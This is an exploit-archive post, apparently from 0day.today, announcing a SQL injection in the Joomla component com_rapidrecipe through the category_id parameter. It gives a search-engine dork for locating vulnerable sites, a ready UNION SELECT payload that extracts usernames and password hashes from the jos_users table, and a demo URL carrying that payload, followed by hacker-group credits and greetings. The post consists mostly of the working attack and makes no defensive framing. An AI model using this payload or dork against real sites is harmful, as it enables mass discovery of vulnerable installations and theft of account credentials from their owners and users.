Joomla Component (com_rapidrecipe) SQL Injection Vulnerability

==============================================================
Joomla Component (com_rapidrecipe) SQL Injection Vulnerability 
==============================================================

########################### 
title:Joomla Component (com_rapidrecipe) SQL Injection Vulnerability 
Script    : Joomla 
Date : 05/07/2010
Dork      : inurl:"com_rapidrecipe"
###########################   
         
[ Vulnerable File ]
  
     
[path]/index.php?option=com_rapidrecipe&page=viewcategory&category_id=[ SQL ] 
          
     
[ XpL ] 
       
-1+union+select+1,2,concat(username,0x3a,password)+from+jos_users+limit+0,1--
   
[ Demo]
  
http://xxxxx/[path]/windex.php?option=com_rapidrecipe&page=viewcategory&category_id=-1+union+select+1,2,concat(username,0x3a,password)+from+jos_users+limit+0,1--
 
 
   
##############################################################   
# Und3rGr0unD W4rri0rZ :
# -HeaDShoT {[email protected][choose any domain if you are lucky u will find me]}
# -M4MIM4N {[email protected][choose any domain if you are lucky u will find me]}
# -L363ND{[email protected][choose any domain if you are lucky u will find me]}
# my greetz to :
# ta3lab el maker 
# 
##############################################################



#  0day.today [2018-01-02]  #